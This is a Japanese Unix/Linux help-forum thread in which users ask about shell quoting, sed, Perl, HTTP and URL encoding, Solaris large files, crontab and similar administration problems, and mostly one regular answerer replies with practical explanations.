はじめまして、こんにちは。 いつも参考にさせていただいております。 sedコマンドを使用して文字列の置換をする処理をしたいのですが、 エラーになってしまいます。 やりたいことは、 「aa aaa aaab aac bbb」から『aaa』だけを消したいのです。 --------------------------------------------------- Sample)aaa.sh #!/bin/sh testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g` --------------------------------------------------- としたとき、「//g」が見つかりませんとなります。 ※ただし「testA」は、「aa aaab aac bbb」となっていますが、、。 ちなみにシェルではなく単純に実行するとエラーはでません。 > echo aa aaa aaab aac bbb | sed s/aaa\b//g > aa aaab aac bbb ※シェル内では\bは「\\」をつけています。 どなたかお力を貸していただけないでしょうか。 また、「sed」以外の方法でもよいです。 -環境:Linux(RedHat 7.2) 宜しくお願いいたします。 |
>>3029 VTOK 手元の FreeBSD の sh や bash ではエラーにならなかったので よくわかりませんが、そもそも % echo aa aaa aaab aac bbb | sed s/aaa\b//g この aaa\b はシェルが解釈すると aaab になるので、 % echo aa aaa aaab aac bbb | sed s/aaa\b//g は % echo aa aaa aaab aac bbb | sed s/aaab//g と等価だと思います。 ただしスクリプト中の testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g` は正しいと思います。なんでエラーになるんだろう。 |
あけましておめでとうございます。 いつもお世話になりっぱなしですが、今年もよろしくお願いします。 68user さん Perl 5.8 入れてみましたか ;;; いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、 EUC-JP モードであれば EUC-JP の、 Shift_JIS モードであれば Shift_JIS の漢字を真にしてくれて 便利だったんですが、Perl 5.8 に変えたので 使えなくなってしまいました。 encoding で切り替えられるかと思ったんですがダメでした。 あくまで -T を使いたいとしたらどうすればいいか、 どなたかお分かりであればご教示ください。 |
初めましてakuroと申します。 最近、ここを知り色々と勉強させて頂いています。 「HTTP クライアントを作ってみよう(4)」にてお聞きしたい事があるのですが。 HTTP CLIENTを実際に作成して動かしてみたのですが、 「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた 場合、変換しなければならないとあるのですが、処理を記述しないで 試しに http://x68000.startshop.co.jp/~68user/ と入力してみたのですが、問題なく表示されました。 これはどういう事なのでしょうか? それと、次の項目の「301 Moved Permanently」なのですが、 これも/(スラッシ)無しでも表示されました。 (HEADの場合HTTP/1.1 301 Moved Permanentlyと出ましたが、 BODYもちゃんと表示されました) これもなぜ表示されるかわかりません。 質問が長くなってしまいましたが、よろしくお願いします。 (HTTP_CLIENTは少し変更して、CGI版にしていますが、処理自体は 変更していません。) |
また長ったらしい文章を書いてしまった…。 >>3031 ふくし > 68user さん Perl 5.8 入れてみましたか ;;; 5.8 どころか最近は 5.004_04 を使ってますよ。退化してます。 > いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、 > EUC-JP モードであれば EUC-JP の、Shift_JIS モードであれば Shift_JIS の > 漢字を真にしてくれて便利だったんですが、Perl 5.8 に変えたので perl-5.8.0/pp_sys.c には PP(pp_fttext) { for (i = 0; i < len; i++, s++) { if (!*s) { /* null never allowed in text */ odd += len; break; } #ifdef USE_LOCALE if (IN_LOCALE_RUNTIME && isALPHA_LC(*s)) continue; #endif /* utf8 characters don't count as odd */ if (UTF8_IS_START(*s)) { ... } ... } else if (*s < 32 && *s != '\n' && *s != '\r' && *s != '\b' && *s != '\t' && *s != '\f' && *s != 27) odd++; } とかなんとか書いてあったりします (UTF8 は OK のような雰囲気ですね)。 USE_LOCALE で IN_LOCALE_RUNTIME ならもしかして! …というわけでさらにおっかけていくと % find . -type f | xargs grep isALPHA_LC ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c)) % find . -type f | xargs grep NXIsAlpha ./handy.h: (NXIsAlpha((unsigned int)(c)) || (char)(c) == '_') ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c)) てなわけで NXIsAlpha とやらが定義されていません。isALPHA_LC を よく見てみると #ifdef USE_NEXT_CTYPE # define isALPHA_LC(c) NXIsAlpha((unsigned int)(c)) #else # define isALPHA_LC(c) isalpha((unsigned char)(c)) #endif てな感じなので、将来は実装するぞ、てなところでしょうか。 >>3032 akuro > 「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた > 場合、変換しなければならないとあるのですが URI を定義しているのは RFC1738 です。 http://www.ietf.org/rfc/rfc1738.txt?number=1738 そこには httpurl = "http://" hostport [ "/" hpath [ "?" search ]] とあります。/~68user/ や /%7E68user/ という部分は hpath に相当します。 hpath = hsegment *[ "/" hsegment ] → hpath は hsegment を / で結合したもの。 hsegment = *[ uchar | ";" | ":" | "@" | "&" | "=" ] → hsegment は uchar か上記記号の 0 個以上の繰返し。 uchar = unreserved | escape → uchar は unreserved か escape。 unreserved = alpha | digit | safe | extra escape = "%" hex hex → unreserved は alpha, digit, safe, extra のいずれか。escape は %XX 形式。 alpha = lowalpha | hialpha digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" safe = "$" | "-" | "_" | "." | "+" extra = "!" | "*" | "'" | "(" | ")" | "," → alpha, digit, safe, extra は上記の文字 (lowalpha は英小文字、hialpha は英大文字)。 上記のどこにも ~ は含まれていません。よって、hpath には ~ を 含めてはならず、/~68user/ は間違いで /%7E68user/ は正しいのです。 …というのはその文書を書いた当時の話。今 URI を規定しているのは RFC2396 です。 http://member.nifty.ne.jp/moha/rfc/rfc2396j.txt /~68user/ に相当するのは abs_path です (*1)。 abs_path = "/" path_segments path_segments = segment *( "/" segment ) segment = *pchar *( ";" param ) param = *pchar pchar = unreserved | escaped | ":" | "@" | "&" | "=" | "+" | "$" | "," reserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | "," unreserved = alphanum | mark mark = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")" mark に ~ が含まれているため、URI として ~ を記述することが認められています。 また、上記ページの「G.2. RFC 1738及びRFC 1808からの修正点」には > チルダ文字"~"を"unreserved"集合に追加した。ある種のキーボードではこの文字の > 入力に困難を伴うが、インターネットにおいて広く用いられているためである。 とあります。 よって、現在では /~68user/ というリクエストを送っても問題ありません。ただし /%7E68user/ という表記も間違いではありません。/~68user/ と /%7E68user/ は 等価です。 # …という解釈でいいのかなぁ。自信がないなぁ。 じゃー昔は /%7E68user/ と書かずに /~68user/ とするとエラーになったのか というと、そんなことはありませんでした。その理由は 「~ を ~ として解釈しても誰も (web サーバも web クライアントも) 困らないので (むしろ便利)、web サーバが気をきかせてくれたから」 だと思います。 (*1) なぜ /~68user/ が abs_path なのかというと、 RFC2616 (http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.2.1) に http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]] と定義してあり、さらに URL 構文やセマンティクスの定義についての情報については、(RFC 1738 [4] と RFC 1808 [11] を置き換えた) "Uniform Resource Identifiers (URI): Generic Syntax and Semantics," RFC 2396 参照。 この規格書では、その規格書にある、"URI-reference", "absoluteURI", "relativeURI", "port", "host", "abs_path", "rel_path", "authority" の定義を採用する。 とあるからです。 > それと、次の項目の「301 Moved Permanently」なのですが、 > これも/(スラッシ)無しでも表示されました。 こちらで試してみたところ、 GET /~68user HTTP/1.0 HTTP/1.1 301 Moved Permanently (略) Location: http://jfx.startshop.co.jp/~68user/ (略) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> (略) </BODY></HTML> となりました。ここで BODY 部に表示されているのは、 「あなたが要求したドキュメントはここにあるのでクリックしてね」 という web サーバが生成した文章ですので、正しい挙動だと思います。 |
あっそうそう、utf8 は実装してるんですよ、言い忘れました。 ソースを追ってくれてありがとうございます。 そうやって見るんですね〜 5.004_04 って for (0..100000) でメモリはじけませんか。 ぼくは例の BigInt の件もあるし、encoding の件もあるしで、 無批判に最新版を使うようにしています。 |
68userさん詳しい解説ありがとうございました。 正直、自分はネットワークに関する知識が低く、100%解説を 理解できたわけではないのですが、大雑把にですが理解しました。 (RFCも始めて閲覧しました) これからも色々と勉強させていただきたいと思います。 |
教えてください。 メモリ使用率が知りたいのです。Linuxではsysinfoというシステムコールを使って出せましたが、SolarisとHP-UXで出せません。 知ってる方がいましたら教えてください。 |
>>3036 アロエ HP-UX は知りませんが、Solaris なら vmstat とか。 sar でもいけたっけかな? とかいいつつ、僕は top 入れてますけれども。 |
お返事遅くなりました。(>>3023) OSはUNIX(HP)です。 man lsでfulltimeを探したのですが 見つかりませんでした…。しかも、 「-fulltime」でうまくいったかと思ったのですが、 そうでもなさそうでした。 いろいろありがとうございました。 |
はじめまして、初めて書き込みます。 僕は高校3年生で、こんなところに書き込むのは若干場違いなのですがどの書籍を見てもよくわからなかったので書き込みました。 今、学校でLinuxを使ってHTTPについて勉強しているのですがどうしてもファイル転送ができません。 サンプルプログラムで実行しても出来ません。(その作者のホストにはちゃんとアクセスできます) Not FoundやForbiddenというのがでます。 chmodでそのファイルを他からも読み書きできるようにしているのですが無理でした。どうしたらいいでしょうか?? あとサンプルでは全てhtmlファイルなんですが、htmlファイルしかダメというわけでしょうか? 詳しい知識もなく、このような場を借りることは失礼だと思いましたが真剣に今の研究をやりとげたいと思いメールしました。 宜しくお願いします。 |
>>3038 ピョンタン あー、-f、-u、-l、-t、-i、-m、-e 全てのオプションを 受け付ける ls なら -fulltime でもエラーにならないかも しれないですね。想像ですが、HP-UX の ls では無理でしょう。 perl・awk などの別解でやってみてください。 >>3039 コーコー > ファイル転送ができません。 ファイル転送とはアップロード? ダウンロード? > サンプルプログラムで実行しても出来ません。 そのサンプルプログラムを提示しないと誰にもわからんでしょう。 > (その作者のホストにはちゃんとアクセスできます) なぜ作者のホストが関係あるのですか? 作者のホストに アクセスするようなサンプルプログラム? と思ったら、 > chmodでそのファイルを他からも読み書きできるように > しているのですが無理でした。 chmod できるということは自分の web ページに対して アクセスしている? > どうしたらいいでしょうか?? 自分が何を意図して何をした結果うまくいかないのか、を説明する ことだと思います。 |
おひさしぶりです。またまたおじゃまします。長々とごめんなさい。 以前、LAN環境でlinuxを利用していてNetscape等で名前解決できない というご相談を、 >>2779 has : >>2871 has でさせていただきましたが、その後すっかりほったらかしでした。 で、最近また気が向いたのでいくらか調べた結果、いくつか新しい事が わかってきたので一応ご報告します。 まず、dhcpにて各種情報を正常に取得できていたと以前は言ったのですが、 実はeth0起動時に1分程度かかっていました。これに関して、どうやら dhcpcdの動作はRFCで提案されている2通りのいずれかを指定できる らしく、デフォルトではなく、-rを指定することにより一瞬で起動する ようになりました。この-rで動作するモードですが、linux関係の 情報源ではあくまでも「RFC1541」と解説しているものの、どうもMSの 提案した動作のようで、これを指定してうまく動くという点が非常に ひっかかりました。 で、もしやこのLANではWindowsサーバが名前解決してるんでは?と思い はじめ、それからNetBIOSやWINSといった言葉を知るようになり、 そしてこのLAN内ではDNSが走っていないのかも、と疑い出しました。 というのも、linux上でdigによる正引きはなぜかできるのですが、 やはりCで書いたgethostbynameを利用するプログラムが動かないのは おかしいと思い、Windowsでは本当にDNSを利用しているんだろうか、 と思ったのです。試しにWindows上でipconfigによってDHCPで取得した DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet してみたところ、アクセスはrefusedでした。 もしかしたらセキュリティ確保のため、コンマ数秒でリクエストが無い 場合にはとっととコネクションを切っているのかもしれませんが、 なんとなく俺的にはやはりDNSが動いていないような気がします。 というわけで、結論としてWindowsネットワークにlinuxをクライアントと して参加させる方法、というのが知りたいのですが、どうも検索をしても linuxをサーバ、Windowをクライアントとしてネットワークを構築する 方法しか目につかず、どうしたらよいのかわからない状況です。 もしかしたらsambaをWINSクライアントにする、という方法を使うのかも しれませんが、だとしてもそれをlinuxの名前解決とどう連携させるのか その方法もわかりません。もしこのあたりのことで知っていることが あれば、アドバイスまたは資料の場所などを教えてください。 よろしくお願いします。 |
[OSのVER]:Solaris7 [SQLServerのVER]:SQLServer2000 http://www.microsoft.com/japan/msdn/sqlserver/downloads/jdbc/default.asp にて提供されているJDBCDriverについて、 Windows版は使用可能だったのですが、 (Win2000PRO/TOMCAT/JSP→JDBCDriver→Win2000Server/SQLServer2000) UNIX版では (1)インストール (2)環境変数の設定 で躓いております。 (1)についてはinstall.kshを起動した際に以下のメッセージが表示され 正常にインストールされません。 **************************************************************** RSWWW001% su Password: RSWWW001# cd /export/home/ldn RSWWW001# ls DeadLetters fsearchc mssqlserverj.tar EULA.txt install.ksh read.me Mail list.jsp result.jsp a.txt local.cshrc su.txt classes_20010820.tar local.login test.login20030117 core local.profile testpass.sh editerc msjdbc.tar RSWWW001# ksh install.ksh install.ksh[2]: ^M: 見つかりません。 install.ksh[3]: clear^M: 見つかりません。 install.ksh[4]: ^M: 見つかりません。 ============================================================ = SQLServer 2000 driver for JDBC Installation = = Version 2.2.0021 = ============================================================ Initializing..... install.ksh[13]: ^M: 見つかりません。 install.ksh[17]: ^M: 見つかりません。 ================================================================= = SQLServer 2000 driver for JDBC License Agreement = ================================================================= Press <enter> to view License Agreement. install.ksh[24]: DUMMY^M: 英数字以外の文字が使用されています。 install.ksh[25]: ^M: 見つかりません。 : ファイルもディレクトリもありません。 install.ksh[27]: ^M: 見つかりません。 Do you agree to the terms of the License Agreement? <y/n> (y) install.ksh[30]: ^M: 見つかりません。 install.ksh[31]: ANSWER^M: 英数字以外の文字が使用されています。 install.ksh[32]: ^M: 見つかりません。 ' 異常終了しました。 エラー 行目34 : `in RSWWW001# **************************************************************** そこでinstall.kshの記述に沿う形で /opt/msSQLjdbc/lib以下にjarファイルを格納して作業を進めています。 (2)については、 Soralis7/富士通WebServer(INTERSTAGE)→JDBCDriver→WinNTServer/SQLServer2000 という環境下で、前述のWindows(TOMCAT)上で動作していたJSPを動かそうとしたところ、 JDBCDriverをロードする際に、ClassNotFoundExceptionが発生してしまいます。 **************************************************************** Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); **************************************************************** CLASSPATHの設定もしているのですが、原因が掴めません。 (1)(2)についてご助言頂ければ幸いです。 是非宜しくお願い致します。 |
NO3039の続き >>3040 お返事ありがとうございます。言葉足らずで申し訳ありませんでした。 そのサンプルは単純にデータを取得して、ファイルに保存するだけのものです。 http://www.ncad.co.jp/~komata/netprg のHTTPのサンプルソース一式 を参照しました。 作者のホストには例題としてアクセスしてみました。 自分のwebページは持っていません。学校の共有PCでやっているので学校内の他のPCからファイルを もってくるにはchmodを使うものだと思いました。 僕の中では最終的には複数のクライアントからの処理を並列処理(マルチスレッドを利用する予定)してサーバー 、クライアント間でデータをアップロード、ダウンロードできるようにしたいです。 プログラムはCでしか出来ませんが何かよいプログラムなどはあるでしょうか? よろしくおねがいします。 |
>>3041 has > DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet > してみたところ、アクセスはrefusedでした。 まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか? > Windowsネットワークにlinuxをクライアントとして参加させる方法 マイクロソフトネットワークについての知識はほとんどないのですが、 http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml などを読む限り、その方向性はなんか違うような気がします。 Windows マシンでパケットアナライザを使って、DNS サーバに query を投げているかどうか確認してみてはどうでしょうか。 >>3042 AMA > install.ksh[25]: ^M: 見つかりません。 スクリプトの改行コードが Windows 式の 0x0D 0x0A になっている からでしょう。 > CLASSPATHの設定もしているのですが、原因が掴めません。 どのように設定したのか書かないと誰にもわからないと思いませんか? あと、tomcat は起動スクリプト内で CLASSPATH を設定しなおすんじゃ なかったでしたっけ (tomcat4 だけだったかも)。 てゆーか、インストールが成功したかどうかは、まずコマンドライン アプリケーションから確認すべきだと思います。 http://java-house.jp/ml/archive/j-h-b/021880.html#body >>3043 コーコー > 自分のwebページは持っていません。学校の共有PCでやっているので > 学校内の他のPCからファイルをもってくるにはchmodを使うものだと > 思いました。 校内のマシンに apache や IIS などの web サーバを立てましたか? 立ててないなら無理です。まずは、ブラウザで http://www.example.co.jp/foo.html などとアクセスできるようにサーバ側を設定する必要があります。 しかし > Not FoundやForbiddenというのがでます。 というのを見ると web サーバは設定済のようにも読めますし、 よくわかりませんね。ブラウザで見るとどうなるんですか? サンプルプログラムの引数には何を設定しているのですか? > http://www.ncad.co.jp/~komata/netprg/ この作者の書いた「C for UNIX」という本は買いましたが、 セマフォあたりの解説で 「よくわからんがこんな感じで動いている」 といったことが書いてあり、なかなか脱力させていただきました。 サンプルの httpget.c も、 - htons を使わず、わざわざ short_conv なる関数を自作している。 - select(2) のループ内で struct timeval をリセットしていない。 - main の戻り値が void。 - インデントが厨房くさい (作者の中では一貫した基準らしきものが あるようだが…)。 - shutdown -> close という手順を踏んでいる意味がわからない。 (close でいいんじゃない?) - 戻り値が int の関数であっても、呼び出し前に宣言すべきでは? (引数の型チェックができないし) と、なかなか怪しげです。 # ま、僕も他人のことは言えないのですが。 ただし書籍の価値は読む人との相性次第で決まると思うので、だからと 言って悪い本だとはいいません。あなたが理解しやすいと思ったら それはよい本なのでしょう。そのうちもっとよい本を読んで正しい知識 を身につけてください。 |
>>3044 68user Windows2k上でパケット監視してみました。 Operaにてwww.jp.freebsd.orgに接続しに行ったところ、DNSへの問い合わせを 実行しており、正常な応答をもらっているようでした。 で、それとは別に最近気づいたのですが、Win2k上でnslookupが うまくいってないようなので、ついでにそちらも監視してみたところ、 Non-Existent Domainが返されていました。まだ修正方法すら調べてませんが、 これから勉強してみようと思います。 # まあこれはlinuxの設定を使用しているわけではないので、本来の目的と # 直接は関係ないのですが…(^^;) それと以前にも「linuxでパケット監視したら?」とアドバイスをもらってた ような気がするもののまだ試していないので、それも今度こそやってみます。 > まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか? OKじゃありませんでした。上のパケット監視中UDPで送られてるのを確認しました。 http://www.atmarkit.co.jp/fsecurity/rensai/iprotect01/iprotect01.html telnetで試しに接続してみる、というのは↑を参考にしてやってたんですが、 勉強が足りなかったようです(--;) >> Windowsネットワークにlinuxをクライアントとして参加させる方法 > マイクロソフトネットワークについての知識はほとんどないのですが、 > http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml > などを読む限り、その方向性はなんか違うような気がします。 なるほど。Windowsでも「ドット区切りもしくは15文字以上のコンピュータ名は DNSで引く」ということですね。この点はどうなってるのか知らなかったので、 はっきりできてよかったです。 |
68user様ご助言ありがとうございました。 kshの実行については、ご指摘のとおり改行コードを直す事で 正常に実行できました。 環境変数の設定については、.cshrcに setenv CLASSPATH /opt/msSQLjdbc/lib/msbase.jar:/opt/msSQLjdbc/lib/mssqlserver.jar:/opt/msSQLjdbc/lib/msutil.jar との記述をしていたのですが、上手くいかなかったため、 (JDKインストールフォルダ)/jre/lib/ext以下に jarファイルをコピーする事で正常動作させることができました。 初UNIXで分からない事ばかりですが、このページでいろいろと 勉強させて頂きたいと思います。 ありがとうございました。 |
初めてメールいたします。 色々なゲームソフトをあっちこっちで拾い集めてPCにインストールしたところ C¥:REM[Header] 環境変数のため領域が足りません。 上記のメッセージが出てきてwindowsが立ち上がりません。 どのような処理をしたらいいのか教えてください。 ただ、c:\ winと入力すればたちあがってくるのですが・・・ |
シェル実行中にCtrl+Cして、強制終了させたときに、 バックグラウンドで動いていたシェルも終了させたいんですが、 イマイチうまく動きません。ちなみにKシェルです。 back_pid=`job -l awk '{print $3}'`でPIDを取得して kill -9 $back_pidで強制終了 というのを、trap '〜' INTの中でやろうと思ったんですが、 trapの''の中にawkの''があるせいで、エラーになってしまいます。 でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、 未設定の値でkillが走ってしまうので、あまり良くないですが・・・ 何か良い方法はありませんか? |
>>3045 has > Win2k上でnslookupがうまくいってないようなので、ついでにそちらも > 監視してみたところ、Non-Existent Domainが返されていました。 謎ですねぇ。こっちを解決したら Linux の問題も解決したりして。 >>3047 KEI Windows はわかりません。 >>3048 HITO > trapの''の中にawkの''があるせいで、エラーになってしまいます。 クォートの規則がわからなかったら、 siginthandler(){ back_pid=.... kill ... } trap siginthandler INT と別関数にしましょう。 > でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、 > 未設定の値でkillが走ってしまうので、あまり良くないですが・・・ if [ "$back_pid" != "" ]; then kill ... fi てな感じで。 |
はじめまして、さとしです。 突然で申し訳ないのですが教えて欲しい事があります shell内で、あたかも関数の様に処理を作成して、同一shell内の呼び出し元に返り値を返すことって出来ますか? |
>>3050 さとし shell って言ってもいくつか種類があるんですけんども。どのシェルを使って いるのか ちゃんと書きましょう。 sh 系なら func(){ echo "$@" return 8 } func 1 2 3 4 hoge fuga echo $? とか。 |
はじめまして。現在サイトを参考にさせて頂き、HTTPクライアントを作成しております。ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法を教えて頂けないでしょうか。お忙しいところ申し訳ございませんが宜しくご教授願います。 |
>>3052 しん > ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法 >>2612 68user をどうぞ。 |
はじめまして、 ちょっとだけ聞きたいことがあります。 crontabにシェルを登録しました。 内容は * * * * * (./Home/Comp/.profile; /Home/Comp/glance_log.sh) です。 マシンはHP 11.0を使っております。 そしてシェルの内容は ===glance_log.sh=== nohup glance -adviser_only -iterations 1 -syntax ./temp -j 30 >> glance_log.dat & で, === ./temp==== print gbl_stattime, " CPU=", GBL_CPU_TOTAL_UTIL, " DISK I/O=", GBL_DISK_UTIL_PEAK, " MEM UTIL=", GBL_MEM_UTIL です。 普通のprompt上で実行すると glance_log.datにローグが積みます。 ===glance_log.dat=== 01:29:49 CPU= 11.4 DISK I/O= 19.5 MEM UTIL= 81.0 01:29:50 CPU= 17.6 DISK I/O= 9.5 MEM UTIL= 81.1 ところがcrontabに登録して実行させると glance_log.datには何もでしませんでした。 もちろんのことにechoを使って実行させるとechoだけはローグができますね。 やはりttyの設定が悪いからではないかなぁとおもうんですが、どうやってcrontabに登録したらいいかわかりません。 助けてください。 ほんとに困ります。 |
はじめまして。いつも参考にさせて頂いてます。 perlで書いたサーバプログラムをinetd経由で起動しているのですが、 接続してきた相手の情報を取得する方法がわからず困っています。 どのように取得するのが一般的な方法なのでしょうか。 |
>>3054 高橋 > (./Home/Comp/.profile; /Home/Comp/glance_log.sh) . と / の間に空白がないので .profile の読み込みに失敗しているのでは? それを直してもダメなら、 (. /Home/Comp/.profile; /bin/printenv) などで環境変数を確認しましょう。 > やはりttyの設定が悪いからではないかなぁとおもうんですが glance というコマンドは知りませんが、キーボードからの 入力を受け付けるようなプログラムであれば tty がらみ かもしれません。でも、そうでないなら tty は関係ないでしょう。 >>3055 えい > perlで書いたサーバプログラムをinetd経由で起動しているのですが、 > 接続してきた相手の情報を取得する方法がわからず困っています。 何も試さずに書きますが、標準入力であるところのファイル デスクリプタ 0 がソケットにつながっているわけなので、 getpeername(STDIN) でいけるんじゃないでしょうか。 |
こんにちは、いつも参考にさせてもらっています。 UNIXで2ギガを超えるファイルの圧縮を行なう方法をご存知の方がいらっしゃれば教えて下さい。 圧縮率に関してはそれほど気にしないので、compressでもOKです。 よろしくお願い致します。 |
>>3057 山田 > UNIXで2ギガを超えるファイルの圧縮を行なう方法 OS の制限なら無理でしょう。tar の制限なら制限のない tar を使うと いけるかもしれません。 結局のところ、「UNIX」と言われてもいろいろな UNIX like OS があるので わかりません、ってことで。 |
ありがとうございます。 zipに制限があるのは確認したのですが、compressは確認していません。 tarで試してみます。 ちなみにOSは何をみれば分かりますか? |
始めまして。 私は実際のサーバなど全くいじったことがなく、すべては読み物での知識です。NTTの.COM.MASTER *はパスして現在**を目指している60才を過ぎた元通信分野に籍を置いたものです。交換機などと異なりcomputerの領域の知識が無いので少し苦労をしています。 それで、 きわめて基本的なことですが、permissionにおける「実行」というのは具体的にどういう事象なのでしょうか? R/Wについては解るのですがX(実行)というのはどう言うことなのか解りません。 教えてください。 |
>>3049 68user tcpdumpを使おうとmanを見たらそれだけで圧倒されてしまい、 etherealを入れようとしたらrpmの依存関係が解決できずに そのままはまってしまいました。なんてこった(*_*) もうちっと腰を据えて勉強するとします…。 それはそうとこの板、回答者がすっかり68user一人になってしまったので、 たまには私も口を出せそうな話題にはお邪魔しようかと思います。 というわけで早速。 >>3059 山田 OSの種類については % uname -s を実行するとわかります。 SunOSとかHP-UXとかFreeBSDとかlinuxとか。 >>3060 山岸 信一 コンピュータに関する理解具合が把握できなかったので回答しづらいですが、 http://www.kent-web.com/pubc/axsken/ というページがありました。 こういう説明で参考になるでしょうか? |
>>3061 has しまった、結局「実行」についての解説が無かったですね。 「そのファイルをプログラムだと思って実行してもよい」という意味です、 と言いたいところなんですが、これで通じますか? @68user こっちは再編集機能つけて無いんすね…。 |
>>3055>>3056 なるほど。標準入出力がソケットに繋がってるんですね。 上手く取得することが出来ました。 ありがとうございました。 $sockaddr = 'S n a4 x8'; $hersockaddr = getpeername(STDIN); ($family, $port, $heraddr) = unpack($sockaddr, $hersockaddr); $addr = inet_ntoa($heraddr); |
>>3059 山田 > zipに制限があるのは確認したのですが、compressは確認していません。 > tarで試してみます。 おっと、tar と書いたのは指がすべりました。compress の 間違いでした。 要は、OS の制限として 2GB 以上のファイルを扱えない仕様 なのか、compress や zip の制限なのかを明らかにしましょう、 ということです。 そういうのには興味がなくて、とにかく圧縮したいのなら split して zip なり gzip なり compress なりすればよい でしょう。 >>3061 has > OSの種類については > % uname -s Linux カーネルが 2GB over ファイルに対応したのは最近の ことだし、Solaris なら 7 以降 (2.6 なら -largefile オプションで可能らしい)、uname -a でバージョンまで 聞き出すのがよいかと思います。 >>3060 山岸 信一 補足すると、コンピュータにとってはプログラム (実行可能なもの) も データ (例えばテキストファイルとか画像ファイルとか) も、ただの ファイルとしか見えません。 なので人間が「このファイルは実行可能である」と教えてやらないと コンピュータはプログラムを実行できないわけです。 で、UNIX では実行権限 (x) が「このファイルは実行可能な プログラムである」という印なわけです。 ここらへんは OS によって異なり、例えば Windows だと拡張子が .exe や .com の場合、「このファイルは実行可能なプログラムである」 という印になるわけで。 > NTTの.COM.MASTER *はパスして現在** これですか。 http://biz.ocn.ne.jp/master/c027_02.html いろんな資格があるもんですねぇ。 >>3061 has > それはそうとこの板、回答者がすっかり68user一人になってしまったので、 > たまには私も口を出せそうな話題にはお邪魔しようかと思います。 当然ながら誰が回答してもよい掲示板ですので、よろしく>みなさま >>3062 has > こっちは再編集機能つけて無いんすね…。 これまで作った掲示板で再編集機能を付けたことないっすよ。 ちょっと突っ込まれると内容を変えたり、削除したりする人が いるので、「掲示板に編集・削除機能は不要」というのが 僕の考えだったりします。 |
はじめまして。 UNIXリファレンスを利用させて頂いています。 一つご教授願いたいことが出来まして投稿させていただきます。 環境は以下の通りです。 ・一台のUNIXサーバに対して複数台のWindowsサーバが接続している ・UNIX上のシェルからリモートシェルによってWindows上のbatコマンドを実行(Windowsサーバは全て同一ディレクトリ構成・かつ同一batコマンドを実行) 上記条件において、Windowsサーバをパラで動作させたいのです。 一台目のWindowsのbatコマンドの終了を待つことなく次のWindowsのbatコマンドを実行、といった風にしたいのです。 (現状、一台目の処理が終了したら二台目・・・となっています。) UNIX側では全Windowsサーバのbatコマンドの終了(rshの終了)を待ってから次の処理に進みます。 そのような実装は可能なのでしょうか。 分かりにくい質問内容かも知れませんが、ご存知の方がおられましたら宜しくご教授お願い致します。 |
すみません、すみません、2ギガ越えに関する回答は終了かと思い、週末は掲示板に目を通しませんでした。。。 遅れ馳せながら、>>3064様、>>3061様、丁寧なご回答ありがとうございます。 ご教授いただいたOSのバージョンですが早速試してみたところ、下記の様に表示されました。 「SunOS xxxxxx 5.8 Generic_108528-13 sun4u sparc SUNW,Sun-Fire-280R」 一般的に5.8を指してソラリス8と呼んでるようですが(聞きかじりです。間違っていたらすみません)、下記は68usr様がおっしゃる「Solaris なら 7 以降 」に該当するのでしょうか? これより新しいのはソラリス9と聞いています。 ご教授ください。 山田 |
>>3064 68user > UNIX上のシェルからリモートシェルによってWindows上のbat > コマンドを実行(Windowsサーバは全て同一ディレクトリ構成・ > かつ同一batコマンドを実行) > 上記条件において、Windowsサーバをパラで動作させたいのです。 UNIX 側で rsh host1 command rsh host2 command rsh host3 command などとしているのですよね? ならば rsh host1 command & rsh host2 command & rsh host3 command & が一番簡単だと思います。 >>3066 山田 > 一般的に5.8を指してソラリス8と呼んでるようですが そうです。 >「Solaris なら 7 以降 」に該当するのでしょうか? 該当します。 Solaris の 2GB 超ファイルの扱いは、man largefile で見ることが できる largefile(5) に載っています。 http://www.freebsd.org/cgi/man.cgi?query=largefile&apropos=0&sektion=0&manpath=SunOS+5.8&format=html Solaris8 の largefile(5) には large file aware なコマンドとして compress はありますが、zip は載っていません。よって、compress なら OK、zip は NG でしょう。 >>3064 68user > Solaris なら 7 以降 (2.6 なら -largefile オプションで > 可能らしい) 手もとの Solaris 2.6 で試してみましたが、2GB 超ファイルを 作成することができました。現在のマウント状況を表す /etc/mnttab は /dev/dsk/c0t0d0s5 /opt ufs suid,rw,largefiles,... などとなっているので、Solaris 2.6 のデフォルトは 2GB 超 OK なのかな? |
はじめまして。 コマンドヒストリについてご教授願いたいことが出来まして投稿させていただきます。 ユーザがUNIXサーバへログインしたあとに実行したコマンドはヒストリファイルに記録されていると思いますが、コマンドが実行された時刻はどのファイルに記憶されるのでしょうか? 記録するための設定などがありましたらぜひご教授ください。 よろしくお願いいたします。 OS solaris 5.8 |
>>3068 児嶋 csh・tcsh なら、~/.history に #+1043136351 ls などと時刻込みで記録されています。bash なら .bash_history。 |
>>3069 68user > bash なら .bash_history。 一応確認してみましたが、bash はヒストリに時刻を記録しないみたいですね。 |
